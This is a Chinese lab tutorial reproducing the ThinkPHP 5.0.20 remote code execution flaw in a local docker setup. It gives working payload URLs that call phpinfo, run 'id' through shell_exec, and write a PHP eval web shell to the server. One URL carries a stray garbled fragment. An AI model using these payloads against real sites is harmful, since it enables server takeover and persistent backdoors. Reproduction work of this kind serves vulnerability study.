PHP教程

ThinkPHP5 5.0.20 远程代码执行漏洞

本文主要是介绍ThinkPHP5 5.0.20 远程代码执行漏洞,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

漏洞简介

ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

漏洞复现

运行ThinkPHP 5.0.20版本:

docker-compose up -d

环境启动后,访问http://your-ip:8080即可看到ThinkPHP默认启动页面。

在这里插入图片描述

在这里插入图片描述
一.进行url拼接可看到phpinfo页面

http://127.0.0.1:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1`%20and%20it%27ll%20execute%20the%20phpinfo%EF%BC%9A

在这里插入图片描述

http://127.0.0.1:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=id

在这里插入图片描述

http://127.0.0.1:8080/index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=%3C?php%20@eval($_POST[a]);?%3E

在这里插入图片描述

这篇关于ThinkPHP5 5.0.20 远程代码执行漏洞的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!